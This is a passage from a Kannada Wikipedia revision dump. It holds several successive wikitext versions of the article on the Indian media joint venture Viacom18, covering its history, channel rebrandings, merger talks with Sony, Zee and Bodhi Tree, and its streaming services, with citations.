exchange4media|language=en|access-date=2022-01-27}}</ref> ನಂತರ Sony Pictures Networks India ನೊಂದಿಗೆ ಮಾತುಕತೆಗಳನ್ನು ಪ್ರವೇಶಿಸಿತು, ಇದು ಮೊದಲು Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/industry/zeel-starts-due-diligence-process-for-merger-with-sony-pictures-networks/2352817/|title=ZEEL starts due diligence process for merger with Sony Pictures Networks|website=The Financial Express|language=en|access-date=2022-01-27}}</ref> === ಲೂಪಾ ಇಂಡಿಯಾದೊಂದಿಗೆ ವಿಲೀನ === ಜನವರಿ 2022 ರಲ್ಲಿ, ಉದಯ್ ಶಂಕರ್ ಮತ್ತು ಜೇಮ್ಸ್ ಮುರ್ಡೋಕ್ ಸ್ಥಾಪಿಸಿದ ಹೂಡಿಕೆ ಕಂಪನಿಯಾದ ಲುಪಾ ಇಂಡಿಯಾ, Viacom18 ನಲ್ಲಿ 39% ಪಾಲನ್ನು ಪಡೆಯುವ ಅಂತಿಮ ಹಂತದಲ್ಲಿದೆ ಎಂದು ವರದಿಗಳು ಬಂದವು. <ref>{{Cite news|url=https://www.business-standard.com/article/companies/uday-shankar-james-murdoch-firm-to-pick-up-39-stake-in-viacom-18-122012700024_1.html|title=Uday Shankar, James Murdoch firm to pick up 39% stake in Viacom 18|last=Gupta|first=Surajeet Das|date=2022-01-27|work=Business Standard India|access-date=2022-01-27}}</ref> ಆ ಮೂಲಕ ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ಅನ್ನು ಕಂಪನಿಯಲ್ಲಿ 10% ಪಾಲನ್ನು ಹೊಂದಿರುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಷೇರುದಾರರನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. <ref>{{Cite news|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/uday-shankar-james-murdoch-plan-to-pick-up-nearly-40-in-viacom18-reliance-to-retain-majority-stake/articleshow/89127603.cms|title=Uday Shankar, James Murdoch plan to pick up nearly 40% in Viacom18, Reliance to retain majority stake|last=Laghate|first=Gaurav|work=The Economic Times|access-date=2022-01-27}}</ref> ಬದಲಾಗಿ, Viacom18 ಮತ್ತು ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ಅಂತಿಮವಾಗಿ ಲುಪಾ ಸಿಸ್ಟಮ್ಸ್ ಒಡೆತನದ ಕಂಪನಿಯಾದ ಬೋಧಿ ಟ್ರೀ ಸಿಸ್ಟಮ್ಸ್ ಜೊತೆಗೆ ದೈತ್ಯ ಸ್ಟ್ರೀಮಿಂಗ್ ಮತ್ತು ಟಿವಿ ಕಂಪನಿಯನ್ನು ರೂಪಿಸಲು ಪಾಲುದಾರಿಕೆ ಮಾಡಿಕೊಂಡವು. ಬೋಧಿ ಟ್ರೀ ವಯಾಕಾಮ್ 18 ನಲ್ಲಿ USD$1.8 ಶತಕೋಟಿ ಹೂಡಿಕೆ ಮಾಡಲು ಯೋಜಿಸಿದೆ, ರಿಲಯನ್ಸ್ USD$216 ಮಿಲಿಯನ್ ಹೂಡಿಕೆ ಮಾಡುತ್ತಿದೆ ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ Viacom18 ನಲ್ಲಿ ಷೇರುದಾರರಾಗಿ ಮುಂದುವರಿಯುತ್ತದೆ; JioCinema ಅನ್ನು Viacom18 ಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಒಪ್ಪಂದವು ಅಕ್ಟೋಬರ್ 2022 ರೊಳಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯಿದೆ, ನಿಯಂತ್ರಕ ಅನುಮೋದನೆಗೆ ಬಾಕಿಯಿದೆ. <ref>{{Cite web|url=https://variety.com/2022/tv/asia/james-murdoch-bodhi-tree-reliance-viacom18-2-billion-deal-1235242692/|title=James Murdoch's Bodhi Tree, Reliance, Viacom18 Strike $2 Billion Deal to Create Giant Indian TV and Streaming Company|last=Ramachandran|first=Naman|date=27 April 2022|website=[[Variety (magazine)|Variety]]|access-date=20 May 2022}}</ref> == ಮೇಲ್ಭಾಗದಲ್ಲಿ (OTT) == * ವೋಟ್ * ಪ್ಯಾರಾಮೌಂಟ್+ (ಭಾರತದಲ್ಲಿ 2023 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಲಿದೆ) <ref>{{Cite news|url=https://www.thehindu.com/entertainment/movies/paramount-announces-2023-india-launch-in-partnership-with-viacom18/article65384315.ece|title=Paramount+ announces 2023 India launch in partnership with Viacom18|date=2022-05-05|work=The Hindu|access-date=2022-06-14|others=PTI|language=en-IN|issn=0971-751X}}</ref> == ಸಹ ನೋಡಿ == * ಪ್ಯಾರಾಮೌಂಟ್ ಇಂಟರ್ನ್ಯಾಷನಲ್ ನೆಟ್ವರ್ಕ್ಸ್ ** ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA * Network18 ಗುಂಪು == ಉಲ್ಲೇಖಗಳು == {{Reflist|refs="Viacom18 Media Pvt. Ltd". Viacom18.com. Archived from the original on 23 October 2018. Retrieved 27 July 2018. "TV18 Broadcast Ltd (CRD)" (PDF). BSEIndia. Archived from the original (PDF) on 23 September 2015. "Corporate restructure complete for India's Network18". rapidtvnews.com. Retrieved 10 August 2017. "Beefing Up The Bouquet". business.outlookindia.com. Retrieved 10 August 2018. "Viacom18 launches its new channel 'sonic' in India". India Infoline. 5 December 2018. Retrieved 26 December 2018. "TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc". Viacom18. 31 January 2018. Retrieved 31 January 2018. "Our Channels - On Air". viacom18.com. https://bestmediainfo.com/2019/09/colors-telugu-goes- digital-first-to-launch-on-voot-on-sept-23/ https://brandequity.economictimes.indiatimes.com/news/media/viacom18-goes-digital-first-launches-colors- telugu-on-voot/71187480}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.viacom18.com ಅಧಿಕೃತ ಸೈಟ್] [[ವರ್ಗ:Pages with unreviewed translations]] g3t1lk2txsyqkyyn5whcumtmew9s1ie 1116407 1116405 2022-08-23T12:04:36Z Ishqyk 76644 wikitext text/x-wiki '''ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್''' [[ಮುಂಬಯಿ.|ಮುಂಬೈ]] ಮೂಲದ TV18 ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ನಡುವಿನ ಭಾರತೀಯ ಮಾಧ್ಯಮ ಮತ್ತು ಮನರಂಜನಾ ಜಂಟಿ ಉದ್ಯಮವಾಗಿದೆ . <ref>{{Cite web|url=http://www.rapidtvnews.com/index.php/2011061512860/corporate-restructure-complete-for-indias-network18.html|title=Corporate restructure complete for India's Network18|publisher=rapidtvnews.com|access-date=10 August 2017}}</ref> ಇದನ್ನು 2007 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ಭಾರತದಲ್ಲಿ ವಿವಿಧ ಚಾನೆಲ್‌ಗಳು ಮತ್ತು ಕಂಟೆಂಟ್ ಪ್ರೊಡಕ್ಷನ್ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿದೆ. == ಇತಿಹಾಸ == ಜನವರಿ 2010 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಕಲರ್ಸ್‌ನ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟಕ್ಕೆ ಏರಿತು. ಚಾನಲ್ ಅನ್ನು ಆಪ್ಕಾ ಕಲರ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಜುಲೈ 2010 ರಲ್ಲಿ, ಇದು ಸನ್ ನೆಟ್‌ವರ್ಕ್‌ನೊಂದಿಗೆ 50/50 ವಿತರಣಾ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ಸನ್ <ref>{{Cite web|url=http://business.outlookindia.com/article.aspx?270571|title=Beefing Up The Bouquet|publisher=business.outlookindia.com|access-date=10 August 2018}}</ref> ಅನ್ನು ರಚಿಸಿತು. ಡಿಸೆಂಬರ್ 2011 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುವ ವಯಸ್ಕರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು Nickelodeon Sonic ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=http://www.indiainfoline.com/Markets/News/Viacom18-launches-its-new-channel-sonic-in-India/5303665136|title=Viacom18 launches its new channel 'Sonic Nickelodeon' in India|date=5 December 2018|publisher=[[India Infoline]]|access-date=26 December 2018}}</ref> ಜನವರಿ 2014 ರಲ್ಲಿ, ಟಿವಿ 18, ಈ ಟಿವಿ ಬ್ರಾಂಡ್ ಹೆಸರನ್ನು ಬಳಸಲು ಅನುಮತಿಯೊಂದಿಗೆ, ₹2,053 ಕೋಟಿಗೆ ಈ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ [[ತೆಲುಗು]] ಭಾಷೆಯೇತರ ಟಿವಿ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>[http://economictimes.indiatimes.com/industry/media/entertainment/media/network18-finishes-rs-2053-cr-deal-to-acquire-etv-stakes/articleshow/29215772.cms Network18 finishes Rs 2,053-cr deal to acquire ETV stakes]</ref> ಮಾರ್ಚ್ 2015 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಎಲ್ಲಾ ಐದು [[ತೆಲುಗು]] ಅಲ್ಲದ ಈಟಿವಿ ಪ್ರಾದೇಶಿಕ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್‌ಗಳನ್ನು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ಈಟಿವಿ ಮರಾಠಿ, ಈಟಿವಿ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ|ETV ಕನ್ನಡ]], ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಮತ್ತು ಈಟಿವಿ ಒಡಿಯಾವನ್ನು ಕ್ರಮವಾಗಿ ಕಲರ್ಸ್ ಮರಾಠಿ, ಕಲರ್ಸ್ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ]], ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಮತ್ತು ಕಲರ್ಸ್ ಒಡಿಯಾ ಎಂದು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.bestmediainfo.com/2015/03/viacom18-extends-colors-franchise-with-5-new-regional-avatars|title=ETV re-branding to Colors|access-date=4 March 2015}}</ref> ಕಂಪನಿಯು ವಯಾಕಾಮ್ 18 ಸ್ಟುಡಿಯೋಸ್ ಅನ್ನು ಸಹ ಹೊಂದಿದೆ. 31 ಜನವರಿ 2018 ರಂದು, ಟಿವಿ18 ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ವಿಯಾಕಾಂ ನ ಬಹುಮತವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು, ಕಾರ್ಯಾಚರಣೆಯ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ವಿಯಾಕಾಂ ಅನ್ನು ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಿತಾಸಕ್ತಿಯೊಂದಿಗೆ ಬಿಟ್ಟಿತು. <ref>{{Cite web|url=https://www.viacom18.com/media/tv18-to-increase-stake-to-51-percentage-in-viacom18-the-jv-withviacom-inc|title=TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc|date=31 January 2018|website=Viacom18|access-date=31 January 2018}}</ref> 1 ಅಕ್ಟೋಬರ್ 2019 ರಂದು, ವಿಯಾಕಾಂ 18 ಆಸ್ಟ್ರೋ ಮಲೇಷಿಯಾದಲ್ಲಿ [[ಮಲೇಶಿಯ|ಮಲೇಷ್ಯಾದಲ್ಲಿ]] ಕಲರ್ಸ್ HD ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು; ಪ್ರತಿ ಧಾರಾವಾಹಿಯನ್ನು ಮಲಯ ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಉಪಶೀರ್ಷಿಕೆಗಳೊಂದಿಗೆ ನೀಡಲಾಗುತ್ತದೆ.{{Fact|date=November 2019}} ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಕಂಪನಿಯು ತಮ್ಮ ಸ್ವಂತ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗೆ ಲೈವ್ NBA ಆಟಗಳನ್ನು ತಲುಪಿಸುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್‌ನೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/viacom18-inks-three-year-media-rights-deal-with-nba-117167.html|title=Viacom18 inks three-year media rights deal with NBA - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2021-12-04}}</ref> == ವಿಲೀನ ಪ್ರಯತ್ನಗಳು == === ಸೋನಿ ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2020 ರಲ್ಲಿ, [[ಸೋನಿ|Sony]] ನ ಭಾರತೀಯ ಘಟಕ Sony Pictures Networks India Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿದೆ, ಮಾತುಕತೆಗಳು ಬಹಳ ನಂತರ ಮುಂದುವರೆದವು. ವಿಲೀನವು ಯಶಸ್ವಿಯಾದರೆ, ವಿಲೀನಗೊಂಡ ಕಂಪನಿಯಲ್ಲಿ ಸೋನಿ 74% ಷೇರುದಾರರಾಗಿರುತ್ತಾರೆ. <ref>{{Cite web|url=https://www.nationalheraldindia.com/national/sony-to-own-74-after-merger-with-viacom-18-to-battle-disney-star|title=Sony to own 74% after merger with Viacom 18, to battle Disney Star|last=IANS|date=2020-07-21|website=National Herald|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ ಅಕ್ಟೋಬರ್ 2020 ರಲ್ಲಿ, Viacom18 ನಲ್ಲಿ ಬಹುಪಾಲು ಷೇರು <ref>{{Cite web|url=https://timesofindia.indiatimes.com/business/india-business/reliance-industries-calls-off-merger-of-viacom18-with-sony/articleshow/78493163.cms|title=Reliance Industries calls off merger of Viacom18 with Sony - Times of India|date=Oct 5, 2020|website=The Times of India|language=en|access-date=2022-01-27}}</ref> ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ವಿಲೀನವನ್ನು ರದ್ದುಗೊಳಿಸಿತು. <ref>{{Cite web|url=https://www.livemint.com/industry/media/sony-viacom18-merger-called-off-11601888757116.html|title=Sony's slated merger with Viacom18 now called off|last=Jha|first=Lata|date=2020-10-05|website=mint|language=en|access-date=2022-01-27}}</ref> <ref>{{Cite web|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/post-rethink-ril-calls-off-merger-of-viacom18-sony/articleshow/78483506.cms|title=Jio {{!}} Mukesh Ambani: With Jio in mind, Mukesh Ambani's RIL calls off merger of Viacom18, Sony|website=The Economic Times|access-date=2022-01-27}}</ref> === Zee ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2021 ರಲ್ಲಿ, <ref>{{Cite web|url=https://www.livemint.com/companies/news/viacom18-and-zee-entertainment-in-early-merger-talks-11624212805434.html|title=Viacom18 and Zee Entertainment in early merger talks|last=Laskar|first=Anirudh|date=2021-06-20|website=mint|language=en|access-date=2022-01-27}}</ref> ವರದಿಗಳು Viacom18 ಮತ್ತು Zee ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂಟರ್‌ಪ್ರೈಸಸ್ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿವೆ ಎಂದು ವರದಿ ಮಾಡಿದೆ. <ref>{{Cite web|url=https://www.indiantelevision.com/television/tv-channels/gecs/viacom18-and-zeel-eyeing-a-merger-210621|title=Viacom18 and Zeel eyeing a merger?|date=2021-06-21|website=Indian Television Dot Com|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ, Viacom18 ನೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿಲೀನದ ಕುರಿತು ಯಾವುದೇ ಮಾತುಕತೆಗಳನ್ನು Zee ನಿರಾಕರಿಸಿತು, <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/zeel-denies-any-potential-merger-deal-with-viacom18-113705.html|title=ZEEL denies any potential merger deal with Viacom18 - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2022-01-27}}</ref> ನಂತರ Sony Pictures Networks India ನೊಂದಿಗೆ ಮಾತುಕತೆಗಳನ್ನು ಪ್ರವೇಶಿಸಿತು, ಇದು ಮೊದಲು Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/industry/zeel-starts-due-diligence-process-for-merger-with-sony-pictures-networks/2352817/|title=ZEEL starts due diligence process for merger with Sony Pictures Networks|website=The Financial Express|language=en|access-date=2022-01-27}}</ref> === ಲೂಪಾ ಇಂಡಿಯಾದೊಂದಿಗೆ ವಿಲೀನ === ಜನವರಿ 2022 ರಲ್ಲಿ, ಉದಯ್ ಶಂಕರ್ ಮತ್ತು ಜೇಮ್ಸ್ ಮುರ್ಡೋಕ್ ಸ್ಥಾಪಿಸಿದ ಹೂಡಿಕೆ ಕಂಪನಿಯಾದ ಲುಪಾ ಇಂಡಿಯಾ, Viacom18 ನಲ್ಲಿ 39% ಪಾಲನ್ನು ಪಡೆಯುವ ಅಂತಿಮ ಹಂತದಲ್ಲಿದೆ ಎಂದು ವರದಿಗಳು ಬಂದವು. <ref>{{Cite news|url=https://www.business-standard.com/article/companies/uday-shankar-james-murdoch-firm-to-pick-up-39-stake-in-viacom-18-122012700024_1.html|title=Uday Shankar, James Murdoch firm to pick up 39% stake in Viacom 18|last=Gupta|first=Surajeet Das|date=2022-01-27|work=Business Standard India|access-date=2022-01-27}}</ref> ಆ ಮೂಲಕ ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ಅನ್ನು ಕಂಪನಿಯಲ್ಲಿ 10% ಪಾಲನ್ನು ಹೊಂದಿರುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಷೇರುದಾರರನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. <ref>{{Cite news|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/uday-shankar-james-murdoch-plan-to-pick-up-nearly-40-in-viacom18-reliance-to-retain-majority-stake/articleshow/89127603.cms|title=Uday Shankar, James Murdoch plan to pick up nearly 40% in Viacom18, Reliance to retain majority stake|last=Laghate|first=Gaurav|work=The Economic Times|access-date=2022-01-27}}</ref> ಬದಲಾಗಿ, Viacom18 ಮತ್ತು ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ಅಂತಿಮವಾಗಿ ಲುಪಾ ಸಿಸ್ಟಮ್ಸ್ ಒಡೆತನದ ಕಂಪನಿಯಾದ ಬೋಧಿ ಟ್ರೀ ಸಿಸ್ಟಮ್ಸ್ ಜೊತೆಗೆ ದೈತ್ಯ ಸ್ಟ್ರೀಮಿಂಗ್ ಮತ್ತು ಟಿವಿ ಕಂಪನಿಯನ್ನು ರೂಪಿಸಲು ಪಾಲುದಾರಿಕೆ ಮಾಡಿಕೊಂಡವು. ಬೋಧಿ ಟ್ರೀ ವಯಾಕಾಮ್ 18 ನಲ್ಲಿ USD$1.8 ಶತಕೋಟಿ ಹೂಡಿಕೆ ಮಾಡಲು ಯೋಜಿಸಿದೆ, ರಿಲಯನ್ಸ್ USD$216 ಮಿಲಿಯನ್ ಹೂಡಿಕೆ ಮಾಡುತ್ತಿದೆ ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ Viacom18 ನಲ್ಲಿ ಷೇರುದಾರರಾಗಿ ಮುಂದುವರಿಯುತ್ತದೆ; JioCinema ಅನ್ನು Viacom18 ಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಒಪ್ಪಂದವು ಅಕ್ಟೋಬರ್ 2022 ರೊಳಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯಿದೆ, ನಿಯಂತ್ರಕ ಅನುಮೋದನೆಗೆ ಬಾಕಿಯಿದೆ. <ref>{{Cite web|url=https://variety.com/2022/tv/asia/james-murdoch-bodhi-tree-reliance-viacom18-2-billion-deal-1235242692/|title=James Murdoch's Bodhi Tree, Reliance, Viacom18 Strike $2 Billion Deal to Create Giant Indian TV and Streaming Company|last=Ramachandran|first=Naman|date=27 April 2022|website=[[Variety (magazine)|Variety]]|access-date=20 May 2022}}</ref> == ಮೇಲ್ಭಾಗದಲ್ಲಿ (OTT) == * ವೋಟ್ * ಪ್ಯಾರಾಮೌಂಟ್+ (ಭಾರತದಲ್ಲಿ 2023 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಲಿದೆ) <ref>{{Cite news|url=https://www.thehindu.com/entertainment/movies/paramount-announces-2023-india-launch-in-partnership-with-viacom18/article65384315.ece|title=Paramount+ announces 2023 India launch in partnership with Viacom18|date=2022-05-05|work=The Hindu|access-date=2022-06-14|others=PTI|language=en-IN|issn=0971-751X}}</ref> == ಸಹ ನೋಡಿ == * ಪ್ಯಾರಾಮೌಂಟ್ ಇಂಟರ್ನ್ಯಾಷನಲ್ ನೆಟ್ವರ್ಕ್ಸ್ ** ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA * Network18 ಗುಂಪು == ಉಲ್ಲೇಖಗಳು == {{Reflist|refs="Viacom18 Media Pvt. Ltd". Viacom18.com. Archived from the original on 23 October 2018. Retrieved 27 July 2018. "TV18 Broadcast Ltd (CRD)" (PDF). BSEIndia. Archived from the original (PDF) on 23 September 2015. "Corporate restructure complete for India's Network18". rapidtvnews.com. Retrieved 10 August 2017. "Beefing Up The Bouquet". business.outlookindia.com. Retrieved 10 August 2018. "Viacom18 launches its new channel 'sonic' in India". India Infoline. 5 December 2018. Retrieved 26 December 2018. "TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc". Viacom18. 31 January 2018. Retrieved 31 January 2018. "Our Channels - On Air". viacom18.com. https://bestmediainfo.com/2019/09/colors-telugu-goes- digital-first-to-launch-on-voot-on-sept-23/ https://brandequity.economictimes.indiatimes.com/news/media/viacom18-goes-digital-first-launches-colors- telugu-on-voot/71187480}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.viacom18.com ಅಧಿಕೃತ ಸೈಟ್] krwesoqh6249pb1ffg0be8prmz0bsch 1116408 1116407 2022-08-23T12:04:50Z Ishqyk 76644 wikitext text/x-wiki '''ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್''' [[ಮುಂಬಯಿ.|ಮುಂಬೈ]] ಮೂಲದ ಟಿವಿ18 ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ನಡುವಿನ ಭಾರತೀಯ ಮಾಧ್ಯಮ ಮತ್ತು ಮನರಂಜನಾ ಜಂಟಿ ಉದ್ಯಮವಾಗಿದೆ . <ref>{{Cite web|url=http://www.rapidtvnews.com/index.php/2011061512860/corporate-restructure-complete-for-indias-network18.html|title=Corporate restructure complete for India's Network18|publisher=rapidtvnews.com|access-date=10 August 2017}}</ref> ಇದನ್ನು 2007 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ಭಾರತದಲ್ಲಿ ವಿವಿಧ ಚಾನೆಲ್‌ಗಳು ಮತ್ತು ಕಂಟೆಂಟ್ ಪ್ರೊಡಕ್ಷನ್ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿದೆ. == ಇತಿಹಾಸ == ಜನವರಿ 2010 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಕಲರ್ಸ್‌ನ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟಕ್ಕೆ ಏರಿತು. ಚಾನಲ್ ಅನ್ನು ಆಪ್ಕಾ ಕಲರ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಜುಲೈ 2010 ರಲ್ಲಿ, ಇದು ಸನ್ ನೆಟ್‌ವರ್ಕ್‌ನೊಂದಿಗೆ 50/50 ವಿತರಣಾ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ಸನ್ <ref>{{Cite web|url=http://business.outlookindia.com/article.aspx?270571|title=Beefing Up The Bouquet|publisher=business.outlookindia.com|access-date=10 August 2018}}</ref> ಅನ್ನು ರಚಿಸಿತು. ಡಿಸೆಂಬರ್ 2011 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುವ ವಯಸ್ಕರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು Nickelodeon Sonic ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=http://www.indiainfoline.com/Markets/News/Viacom18-launches-its-new-channel-sonic-in-India/5303665136|title=Viacom18 launches its new channel 'Sonic Nickelodeon' in India|date=5 December 2018|publisher=[[India Infoline]]|access-date=26 December 2018}}</ref> ಜನವರಿ 2014 ರಲ್ಲಿ, ಟಿವಿ 18, ಈ ಟಿವಿ ಬ್ರಾಂಡ್ ಹೆಸರನ್ನು ಬಳಸಲು ಅನುಮತಿಯೊಂದಿಗೆ, ₹2,053 ಕೋಟಿಗೆ ಈ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ [[ತೆಲುಗು]] ಭಾಷೆಯೇತರ ಟಿವಿ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>[http://economictimes.indiatimes.com/industry/media/entertainment/media/network18-finishes-rs-2053-cr-deal-to-acquire-etv-stakes/articleshow/29215772.cms Network18 finishes Rs 2,053-cr deal to acquire ETV stakes]</ref> ಮಾರ್ಚ್ 2015 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಎಲ್ಲಾ ಐದು [[ತೆಲುಗು]] ಅಲ್ಲದ ಈಟಿವಿ ಪ್ರಾದೇಶಿಕ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್‌ಗಳನ್ನು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ಈಟಿವಿ ಮರಾಠಿ, ಈಟಿವಿ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ|ETV ಕನ್ನಡ]], ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಮತ್ತು ಈಟಿವಿ ಒಡಿಯಾವನ್ನು ಕ್ರಮವಾಗಿ ಕಲರ್ಸ್ ಮರಾಠಿ, ಕಲರ್ಸ್ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ]], ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಮತ್ತು ಕಲರ್ಸ್ ಒಡಿಯಾ ಎಂದು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.bestmediainfo.com/2015/03/viacom18-extends-colors-franchise-with-5-new-regional-avatars|title=ETV re-branding to Colors|access-date=4 March 2015}}</ref> ಕಂಪನಿಯು ವಯಾಕಾಮ್ 18 ಸ್ಟುಡಿಯೋಸ್ ಅನ್ನು ಸಹ ಹೊಂದಿದೆ. 31 ಜನವರಿ 2018 ರಂದು, ಟಿವಿ18 ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ವಿಯಾಕಾಂ ನ ಬಹುಮತವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು, ಕಾರ್ಯಾಚರಣೆಯ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ವಿಯಾಕಾಂ ಅನ್ನು ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಿತಾಸಕ್ತಿಯೊಂದಿಗೆ ಬಿಟ್ಟಿತು. <ref>{{Cite web|url=https://www.viacom18.com/media/tv18-to-increase-stake-to-51-percentage-in-viacom18-the-jv-withviacom-inc|title=TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc|date=31 January 2018|website=Viacom18|access-date=31 